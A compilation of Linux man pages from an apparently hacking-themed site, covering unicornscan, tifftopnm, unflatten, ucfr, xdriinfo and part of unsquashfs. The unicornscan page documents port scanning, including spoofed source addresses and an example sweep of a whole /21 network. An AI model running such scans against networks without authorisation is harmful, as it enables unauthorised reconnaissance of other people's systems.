Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation. This software is provided “as is” without express or implied warranty.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmpad.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1112 - Linux cli command unicornscan

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unicornscan and provides detailed information about the command unicornscan, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unicornscan.

NAME 🖥️ unicornscan 🖥️

SYNOPSIS

unicornscan [-b, –broken-crc layer] [-B, –source-port port] [-d, –delay-type type] [-D, –no-defpayload ] [-e, –enable-module modules] [-E, –proc-errors ] [-F, –try-frags ] [-G, –payload-group group] [-h, –help ] [-H, –do-dns ] [-i, –interface interface] [-I, –immediate ] [-j, –ignore-seq ignore] [-l, –logfile file] [-L, –packet-timeoutdelay] [-m, –mode mode] [-M, –module-dir directory] [-p, –ports string] [-P, –pcap-filter filter] [-q, –covertness covertness] [-Q, –quiet ] [-r, –pps rate] [-R, –repeats repeats] [-s, –source-addr address] [-S, –no-shuffle ] [-t, –ip-ttl TTL] [-T, –ip-tos TOS] [-w, –safefile file] [-W, –fingerprint fingerprint] [-v, –verbose ] [-V, –version ] [-z, –sniff ] [-Z, –drone-type type] target list

DESCRIPTION

unicornscan: …

OPTIONS

[-b, –broken-crc Layer]
Break CRC sums on the following layers. N and T are valid, and both may be used without separator, so NT would indicate both Network and Transport layers are to have invalid checksums.

[-B, –source-port Port]
Source port for sent packets, numeric value -1 means to use a random source port (the default situation), and other valid settings are 0 to 65535. normally this option will not be used, but sometimes it is useful to say scan from port 53 into a network.

[-d, –delay-type Type]
Specify the timer used for pps calculations, the default is variable and will try and use something appropriate for the rate you have selected. Note however, if available, the tsc timer and the gtod timer are very CPU intensive. if you require unicornscan to not monopolize your system while running, consider using the sleep timer, normally 3. it has been observed that the tsc timer and gtod timer are required for high packet rates, however this is highly system dependent, and should be tested on each hardware/platform combination. The tsc timer may not be available on every cpu. The sleep timer module is not recommended for scans where utmost accuracy is required.

[-D, –no-defpayload ]
Do not use default payloads when one cannot be found.

[-e, –enable-module List]
A comma separated list of modules to activate (note: payload modules do not require explicit activation, as they are enabled by default). an example would be `pgsqldb,foomod'.

[-E, –proc-errors ]
Enable processing of errors such as icmp error messages and reset+ack messages (for example). If this option is set then you will see responses that may or may not indicate the presence of a firewall, or other otherwise missed information.

[-F, –try-frags ]
It is likely that this option doesn’t work, don’t bother using it until it is fixed.

[-G, –payload-group Group]
activate payloads only from this numeric payload group. The default payload group is 1.

[-h, –help ]
if you don’t know what this means, perhaps you should consider not using this program.

[-H, –do-dns ]
Resolve dns hostnames before and after the scan (but not during, as that would likely cause superfluous spurious responses during the scan, especially if udp scanning). the hosts that will be resolved are (in order of resolution) the low and high addresses of the range, and finally each host address that replied with something that would be visible depending on other scan options. This option is not recommended for use during scans where utmost accuracy is required.

[-i, –interface Interface]
string representation of the interface to use, overriding automatic detection.

[-I, –immediate ]
Display results immediately as they are found in a sort of meta report format (read: terse). This option is not recommended for use during scans where the utmost accuracy is required.

[-j, –ignore-seq Type]
A string representing the intended sequence ignorance level. This affects the tcp header validity checking, normally used to filter noise from the scan. If for example you wish to see reset packets with an ack+seq that is not set or perhaps intended for something else appropriate use of this option would be R. A is normally used for more exotic tcp scanning. normally the R option is associated with reset scanning.

[-l, –logfile File]
Path to a file where flat text will be dumped that normally would go to the users terminal. A limitation of this option currently is that it only logs the output of the `Main’ thread and not the sender and receiver.

[-L, –packet-timeout Seconds]
Numeric value representing the number of seconds to wait before declaring the scan over. for connect scans sometimes this option can be adjusted to get more accurate results, or if scanning a high-latency target network; for example.

[-m, –mode Mode]
String representation of the desired scanning mode. Correct usage includes U, T, A and sf for Udp scanning, Tcp scanning, Arp scanning, and Tcp Connect scanning respectively.

[-M, –module-dir Directory]
Path to a directory containing shared object `modules’ for unicornscan to search.

[-p, –ports Ports]
A global list of ports to scan, can be overridden in the target specification on a per target basis.

[-P, –pcap-filter Filter]
A pcap filter string to add to the listeners default pcap filter (that will be associated with the scan mode being used).

[-c, –covertness Level]
Numeric option that currently does nothing, except look cool.

[-Q, –quiet ]
This option is intended to make unicornscan play the `quiet game’. If you are unfamiliar with its rules, consult with someone else who finds you irritating.

[-r, –pps Rate]
This is arguably the most important option, it is a numeric option containing the desired packets per second for the sender to use. choosing a rate too high will cause your scan results to be incomplete. choosing a rate too low will likely make you feel as though you are using nmap.

[-R, –repeats Times]
The number of times to completely repeat the senders workload, this option is intended to improve accuracy during critical scans, or with scans going over a highly unreliable network.

[-s, –source-addr Address]
The address to use to override the listeners default interfaces address. using this option often necessitates using the helper program fantaip(1) to make sure the replies are routed back to the interface the listener has open.

[-S, –no-shuffle ]
..

[-t, –ip-ttl Number]
..

[-T, –ip-tos Number]
..

[-w, –savefile File]
..

[-W, –fingerprint Type]
..

[-v, –verbose ]
..

[-V, –version ]
..

[-z, –sniff ]
..

[-Z, –drone-type Type]
..

EXAMPLES

unicornscan -msf -s 5.4.3.2 -r 340 -Iv -epgsqldb www.domain.tld/21:80,8080,443,81 runs unicornscan in connect mode with an apparent (to the target) source address of 5.4.3.2 at a rate of 340 packets per second. results will be displayed as they are found -I and the output will be verbose -v. The module `pgsqldb’ will be activated -epgsqldb and the target of this scan will be the /21 network that host www.domain.tld belongs to making attempts to connect to port 80, 8080, 443 and 81.

FILES

unicorn.conf
The file containing the default configuration options for usage.

modules.conf
The default file for module parameters.

oui.txt
Contains the MAC prefix to vendor mapping used in Ethernet scanning.

payloads.conf
The default file for tcp and udp payloads.

ports.txt
The protocol/port number to name mapping.

SEE ALSO

fantaip(1) unicfgtst(1) unicycle(1) unibrow(1) unicorn.conf(5)

REPORTING BUGS

Report Bugs to [email protected]

COPYRIGHT

(C)2004 Jack Louis [email protected] This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1113 - Linux cli command tifftopnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tifftopnm and provides detailed information about the command tifftopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tifftopnm.

.

NAME 🖥️ tifftopnm 🖥️

convert a TIFF file into a PNM image

SYNOPSIS

tifftopnm

[-alphaout={alpha-filename,-}] [-headerdump] [-verbose] [-respectfillorder] [-byrow] [-orientraw] [tiff-filename]

DESCRIPTION

This program is part of Netpbm(1) .

tifftopnm reads a TIFF file as input and produces a PNM image as output. The type of the output file depends on the input file - if it’s black and white, tifftopnm generates a PBM image; if it’s grayscale, it generates a PGM image; otherwise, the output is PPM. The program tells you which type it is writing.

If the TIFF file contains multiple images (multiple “directories”), tifftopnm generates a multi-image PNM output stream. Before Netpbm 10.27 (March 2005), however, it would just ignore all but the first input image.

The tiff-filename argument names the file that contains the Tiff image. If you specify “-” or don’t specify this argument, tifftopnm uses Standard Input.

In either case, before Netpbm 10.70 (March 2015), the file must be seekable. That means no pipe, but any regular file is fine. In current Netpbm, the file need not be seekable, but if it isn’t, tifftopnm creates a temporary regular file containing the entire image, so you must have resources for that (and it may defeat your reason for using a pipe).

TIFF Capability

pamtotiff uses the Libtiff.org TIFF library (or whatever equivalent you provide) to interpret the TIFF input. So the set of files it is able to interpret is determined mostly by that library.

This program cannot read every possible TIFF file – there are myriad variations of the TIFF format. However, it does understand monochrome and gray scale, RGB, RGBA (red/green/blue with transparency channel), CMYK (Cyan-Magenta-Yellow-Black ink color separation), and color palette TIFF files. An RGB file can have either single plane (interleaved) color or multiple plane format. The program reads 1-8 and 16 bit-per-sample input, the latter in either bigendian or littlendian encoding. Tiff directory information may also be either bigendian or littlendian.

There are many TIFF formats that tifftopnm can read only if the image is small enough to fit in memory. tifftopnm uses the TIFF library’s TIFFRGBAImageGet() function to process the TIFF image if it can get enough memory for TIFFRGBAImageGet() to store the whole image in memory at once (that’s what TIFFRGBAImageGet() does). If not, tifftopnm uses a more primitive row-by-row conversion strategy using the raw data returned by TIFFReadScanLine() and native intelligence. That native intelligence does not know as many formats as TIFFRGBAImageGet() does. And certain compressed formats simply cannot be read with TIFFReadScanLine().

Before Netpbm 10.11 (October 2002), tifftopnm never used TIFFRGBAImageGet(), so it could not interpret many of the formats it can interpret today.

There is no fundamental reason that this program could not read other kinds of TIFF files even when they don’t fit in memory all at once. The existing limitations are mainly because no one has asked for more.

Output Image

The PNM output has the same maxval as the Tiff input, except that if the Tiff input is colormapped (which implies a maxval of 65535) the PNM output has a maxval of 255. Though this may result in lost information, such input images hardly ever actually have more color resolution than a maxval of 255 provides and people often cannot deal with PNM files that have maxval > 255. By contrast, a non-colormapped Tiff image that doesn’t need a maxval > 255 doesn’t have a maxval > 255, so when tifftopnm sees a non-colormapped maxval > 255, it takes it seriously and produces a matching output maxval.

Another exception is where the TIFF maxval is greater than 65535, which is the maximum allowed by the Netpbm formats. In that case, tifftopnm uses a maxval of 65535, and you lose some information in the conversion.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), tifftopnm recognizes the following command line options:

You may abbreviate any option to its shortest unique prefix. You may use two hyphens instead of one in options. You may separate an option and its value either by an equals sign or white space.

**-alphaout=**alpha-filename
tifftopnm creates a PGM file containing the alpha channel values in the input image. If the input image doesn’t contain a transparency channel, the alpha-filename file contains all zero (transparent) transparency values. If you don’t specify -alphaout,

tifftopnm does not generate a transparency file, and if the input image has an transparency channel, tifftopnm simply discards it.

If you specify - as the filename, tifftopnm writes the transparency output to Standard Output and discards the image.

See pamcomp(1) for one way to use the transparency output file.

-respectfillorder
By default, tifftopnm ignores the “fillorder” tag in the TIFF input, which means it may incorrectly interpret the image. To make it follow the spec, use this option. For a lengthy but engaging discussion of why tifftopnm works this way and how to use the -respectfillorder option, see the note on fillorder below.

-byrow
This option can make tifftopnm run faster.

tifftopnm has two ways to do the conversion from Tiff to PNM, using respectively two facilities of the TIFF library:

Whole Image
Decode the entire image into memory at once, using TIFFRGBAImageGet(), then convert to PNM and output row by row.

Row By Row
Read, convert, and output one row at a time using TIFFReadScanline()

Whole Image is preferable because the Tiff library does more of the work, which means it understands more of the Tiff format possibilities now and in the future. Also, some compressed TIFF formats don’t allow you to extract an individual row.

Row By Row uses far less memory, which means with large images, it can run in environments where Whole Image cannot and may also run faster. And because Netpbm code does more of the work, it’s possible that it can be more flexible or at least give better diagnostic information if there’s something wrong with the TIFF.

The Netpbm native code may do something correctly that the TIFF library does incorrectly, or vice versa.

In Netpbm, we stress function over performance, so by default we try Whole Image first, and if we can’t get enough memory for the decoded image or TIFFRGBAImageGet() fails, we fall back to Row By Row. But if you specify the -byrow option, tifftopnm will not attempt Whole Image. If Row By Row does not work, it simply fails.

See Color Separation (CMYK) TIFFs for a description of one way Row By Row makes a significant difference in your results.

Whole Image costs you precision when your TIFF image uses more than 8 bits per sample. TIFFRGBAImageGet() converts the samples to 8 bits. tifftopnm then scales them back to maxval 65535, but the lower 8 bits of information is gone.

In many versions of the TIFF library, TIFFRGBAImageGet() does not correctly interpret TIFF files in which the raster orientation is column-major (i.e. a row of the raster is a column of the image). With such a TIFF library and file, you must use -byrow to get correct output.

Before Netpbm 10.11 (October 2002), tifftopnm always did Row By Row. Netpbm 10.12 always tried Whole Image first. -byrow came in with Netpbm 10.13 (January 2003).

-orientraw
A TIFF stream contains raster data which can be arranged in the stream various ways. Most commonly, it is arranged by rows, with the top row first, and the pixels left to right within each row, but many other orientations are possible.

The common orientation is the same one the Netpbm formats use, so tifftopnm can do its jobs quite efficiently when the TIFF raster is oriented that way.

But if the TIFF raster is oriented any other way, it can take a considerable amount of processing for tifftopnm to convert it to Netpbm format.

-orientraw says to produce an output image that represents the raw raster in the TIFF stream rather than the image the TIFF stream is supposed to represent. In the output, the top left corner corresponds to the start of the TIFF raster, the next pixel to the right is the next pixel in the TIFF raster, etc. tifftopnm can do this easily, but you don’t get the right image out. You can use pamflip to turn the output into the image the TIFF stream represents (but if you do that, you pretty much lose the benefit of -orientraw).

With this option, tifftopnm always uses the Row By Row method (see -byrow).

This option was new in Netpbm 10.42 (March 2008). Before that, tifftopnm generally produces arbitrary results with TIFF images that have an orientation other than the common one.

-verbose
Print extra messages to Standard Error about the conversion.

-headerdump
Also dump TIFF file information to stderr. This information may be useful in debugging TIFF file conversion problems.

NOTES

Fillorder

There is a piece of information in the header of a TIFF image called “fillorder.” The TIFF specification quite clearly states that this value tells the order in which bits are arranged in a byte in the description of the image’s pixels. There are two options, assuming that the image has a format where more than one pixel can be represented by a single byte: 1) the byte is filled from most significant bit to least significant bit going left to right in the image; and 2) the opposite.

However, there is confusion in the world as to the meaning of fillorder. Evidence shows that some people believe it has to do with byte order when a single value is represented by two bytes.

These people cause TIFF images to be created that, while they use a MSB-to-LSB fillorder, have a fillorder tag that says they used LSB-to-MSB. A program that properly interprets a TIFF image will not end up with the image that the author intended in this case.

For a long time, tifftopnm did not understand fillorder itself and assumed the fillorder was MSB-to-LSB regardless of the fillorder tag in the TIFF header. And as far as I know, there is no legitimate reason to use a fillorder other than MSB-to-LSB. So users of tifftopnm were happily using those TIFF images that had incorrect fillorder tags.

So that those users can continue to be happy, tifftopnm today continues to ignore the fillorder tag unless you tell it not to. (It does, however, warn you when the fillorder tag does not say MSB-to-LSB that the tag is being ignored).

If for some reason you have a TIFF image that actually has LSB-to-MSB fillorder, and its fillorder tag correctly indicates that, you must use the -respectfillorder option on tifftopnm to get proper results.

Examples of incorrect TIFF images are at ftp://weather.noaa.gov. They are apparently created by a program called faxtotiff.

This note was written on January 1, 2002.

Color Separation (CMYK) TIFFs

Some TIFF images contain color information in CMYK form, whereas PNM images use RGB. There are various formulas for converting between these two forms, and tifftopnm can use either of two.

The TIFF library (Version 3.5.4 from libtiff.org) uses Y=(1-K)*(1-B) (similar for R and G) in its TIFFRGBAImageGet() service. When tifftopnm works in Whole Image mode, it uses that service, so that’s the conversion you get.

But when tifftopnm runs in Row By Row mode, it does not use TIFFRGBAImageGet(), and you get what appears to be more useful: Y=1-(B+K). This is the inverse of what pnmtotiffcmyk does.

See the -byrow option for more information on Whole Image versus Row By Row mode.

Before Netpbm 10.21 (March 2004), tifftopnm used the Y=(1-K)*(1-B) formula always.

SEE ALSO

pnmtotiff(1) , pnmtotiffcmyk(1) , pamcomp(1) , pnm(1)

AUTHOR

Derived by Jef Poskanzer from tif2ras.c, which is Copyright (c) 1990 by Sun Microsystems, Inc. Author: Patrick J. Naughton ([email protected]).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/tifftopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1114 - Linux cli command unflatten

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unflatten and provides detailed information about the command unflatten, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unflatten.

NAME 🖥️ unflatten 🖥️

adjust directed graphs to improve layout aspect ratio

SYNOPSIS

unflatten [-f] [-llen] [-clen ] [ -o outfile ] [ files ]

DESCRIPTION

unflatten is a preprocessor to dot that is used to improve the aspect ratio of graphs having many leaves or disconnected nodes. The usual layout for such a graph is generally very wide or tall. unflatten inserts invisible edges or adjusts the minlen on edges to improve layout compaction.

OPTIONS

The following options are supported:

-l* len*
The minimum length of leaf edges is staggered between 1 and len (a small integer).

-f
Enables the staggering of the -l option to fanout nodes whose indegree and outdegree are both 1. This helps with structures such as a -> {w x y z} -> b. This option only works if the -l flag is set.

-c* len*
Form disconnected nodes into chains of up to len nodes.

-o* outfile*
causes the output to be written to the specified file; by default, output is written to stdout.

OPERANDS

The following operand is supported:

files
Names of files containing 1 or more graphs in dot format. If no files operand is specified, the standard input will be used.

AUTHORS

Stephen C. North <[email protected]>
Emden R. Gansner <[email protected]>

SEE ALSO

gc(1), dot(1), acyclic(1), gvpr(1), gvcolor(1), ccomps(1), tred(1), libgraph(3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1115 - Linux cli command ucfr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ucfr and provides detailed information about the command ucfr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ucfr.

NAME 🖥️ ucfr 🖥️

Update Configuration File Registry: associate packages with configuration files

SYNOPSIS

ucfr [options] <Package> <Path to configuration file>

DESCRIPTION

Where Package is the package associated with the configuration file (and, in some sense, its owner), and Path to configuration file is the full path to the location (usually under /etc) where the configuration file lives, and is potentially modified by the end user. Please note that usually this means that we register actual files, and not symbolic links to files. ucfr will follow symbolic links and register the real file, and not the symbolic link.

This script maintains an association between configuration files and packages, and is meant to help provide facilities that dpkg provides conffiles for configuration files and not shipped in a Debian package, but handled by the postinst by ucf instead. This script is idempotent, associating a package to a file multiple times is not an error. It is normally an error to try to associate a file which is already associated with another package, but this can be overridden by using the –force option.

OPTIONS

-h, –help
Print a short usage message

-n, –no-action
Dry run. Print the actions that would be taken if the script is invoked, but take no action.

-d [n], –debug [n]
Set the debug level to the (optional) level n (n defaults to 1). This turns on copious debugging information.

-p, –purge
Removes all vestiges of the association between the named package and the configuration file from the registry. The association must already exist; if the configuration file is associated with some other package, an error happens, unless the option –force is also given. In that case, the any associations for the configuration file are removed from the registry, whether or not the package name matches. This action is idempotent, asking for an association to be purged multiple times does not result in an error, since attempting to remove an non-existent association is silently ignored unless the –verbose option is used (in which case it just issues a diagnostic).

-v, –verbose
Make the script be very verbose about setting internal variables.

-f, –force
This option forces operations requested even if the configuration file in consideration is owned by another package. This allows a package to hijack a configuration file from another package, or to purge the association between the file and some other package in the registry.

–state-dir /path/to/dir
Set the state directory to /path/to/dir instead of the default /var/lib/ucf. Used mostly for testing.

USAGE

The most common case usage is pretty simple: a single line invocation in the postinst on configure, and another single line in the postrm to tell ucfr to forget about the association with the configuration file on purge (using the –purge option) is all that is needed (assuming ucfr is still on the system).

FILES

/var/lib/ucf/registry, and /var/lib/ucf/registry.X, where X is a small integer, where previous versions of the registry are stored.

/etc/ucf.conf

EXAMPLES

If the package foo wants to use ucfr to associate itself with a configuration file foo.conf, a simple invocation of ucfr in the postinst file is all that is needed:

ucfr foo /etc/foo.conf

On purge, one should tell ucf to forget about the file (see detailed examples in /usr/share/doc/ucf/examples):

ucfr –purge foo /etc/foo.conf

If you want to remove all the conf files for a given package foo, the simplest way is to use ucfq. For example

ucfq -w foo | cut -d : -f 1 | while read cfile ; do ucfr -v $cfile ; done

SEE ALSO

ucf(1), ucf.conf(5).

AUTHOR

This manual page was written Manoj Srivastava <[email protected]>, for the Debian GNU/Linux system.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1116 - Linux cli command xdriinfo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xdriinfo and provides detailed information about the command xdriinfo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xdriinfo.

NAME 🖥️ xdriinfo 🖥️

query configuration information of DRI drivers

SYNOPSIS

xdriinfo [-display displayname] [-version] [command]

DESCRIPTION

xdriinfo can be used to query configuration information of direct rendering drivers. If no command argument is specified it lists the names of the direct rendering drivers for all screens.

Valid options are:

-display
Specifies X server to connect to.

-version
Print the program version and exit.

Valid commands are:

nscreens
Print the number of screens.

driver screen
Print the name of the direct rendering driver for screen.

options screen|driver
Print the XML document describing the configuration options of a driver. The driver can be specified directly by driver name or indirectly by screen number. If the driver name is specified directly then no X connection is needed.

ENVIRONMENT

DISPLAY
The default display.

SEE ALSO

X(7), xdpyinfo(1), xwininfo(1), xvinfo(1), glxinfo(1), xprop(1)

AUTHOR

Felix Kuehling

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1117 - Linux cli command unsquashfs

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unsquashfs and provides detailed information about the command unsquashfs, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unsquashfs.

NAME 🖥️ unsquashfs 🖥️

tool to uncompress, extract and list squashfs filesystems

SYNOPSIS

unsquashfs [OPTIONS] FILESYSTEM [files to extract or exclude (with -excludes) or cat (with -cat )]

DESCRIPTION

Squashfs is a highly compressed read-only filesystem for Linux. It uses either gzip/xz/lzo/lz4/zstd compression to compress both files, inodes and directories. Inodes in the system are very small and all blocks are packed to minimise data overhead. Block sizes greater than 4K are supported up to a maximum of 1Mbytes (default block size 128K).

Squashfs is intended for general read-only filesystem use, for archival use (i.e. in cases where a .tar.gz file may be used), and in constrained block device/memory systems (e.g. embedded systems) where low overhead is needed.

OPTIONS

Filesystem extraction (filtering) options:

-d PATHNAME, -dest PATHNAME
extract to PATHNAME, default “squashfs-root”. This option also sets the prefix used when listing the filesystem.

-max LEVELS, -max-depth LEVELS
descend at most LEVELS of directories when extracting.

-excludes
treat files on command line as exclude files.

-ex, -exclude-list
list of files to be excluded, terminated with ; e.g. file1 file2 ;.

-extract-file FILE
list of directories or files to extract. One per line.

-exclude-file FILE
list of directories or files to exclude. One per line.

-match
abort if any extract file does not match on anything, and can not be resolved. Implies -missing-symlinks and -no-wildcards.

-follow, -follow-symlinks
follow symlinks in extract files, and add all files/symlinks needed to resolve extract file. Implies -no-wildcards.

-missing, -missing-symlinks
Unsquashfs will abort if any symlink can’t be resolved in -follow-symlinks.

-no-wild, -no-wildcards
do not use wildcard matching in extract and exclude names.

-r, -regex
treat extract names as POSIX regular expressions rather than use the default shell wildcard expansion (globbing).

-all TIME, -all-time TIME
set all file timestamps to TIME, rather than the time stored in the filesystem inode. TIME can be an unsigned 32-bit int indicating seconds since the epoch (1970-01-01) or a string value which is passed to the “date” command to parse. Any string value which the date command recognises can be used such as “now”, “last week”, or “Wed Feb 15 21:02:39 GMT 2023”.

-cat
cat the files on the command line to stdout.

-f, -force
if file already exists then overwrite.

-pf FILE
output a pseudo file equivalent of the input Squashfs filesystem, use - for stdout.

Filesystem information and listing options:

-s, -stat
display filesystem superblock information.

-max LEVELS, -max-depth LEVELS
descend at most LEVELS of directories when listing.

-i, -info
print files as they are extracted.

-li, -linfo
print files as they are extracted with file attributes (like ls -l output).

-l, -ls
list filesystem, but do not extract files.

-ll, -lls
list filesystem with file attributes (like ls -l output), but do not extract files.

-lln, -llnumeric
same as -lls but with numeric uids and gids.

-lc
list filesystem concisely, displaying only files and empty directories. Do not extract files.

-llc
list filesystem concisely with file attributes, displaying only files and empty directories. Do not extract files.

-full, -full-precision
use full precision when displaying times including seconds. Use with -linfo, -lls, -lln and -llc.

-UTC
use UTC rather than local time zone when displaying time.

-mkfs-time
display filesystem superblock time, which is an unsigned 32-bit int representing the time in seconds since the epoch (1970-01-01).

Filesystem extended attribute (xattrs) options:

-no, -no-xattrs
do not extract xattrs in file system.

-x, -xattrs
extract xattrs in file system (default).

-xattrs-exclude REGEX
exclude any xattr names matching REGEX. REGEX is a POSIX regular expression, e.g. -xattrs-exclude ‘^user.’ excludes xattrs from the user namespace.

-xattrs-include REGEX
include any xattr names matching REGEX. REGEX is a POSIX regular expression, e.g. -xattrs-include ‘^user.’ includes xattrs from the user namespace.

Unsquashfs runtime options:

-v, -version
print version, licence and copyright information.

-p NUMBER, -processors NUMBER
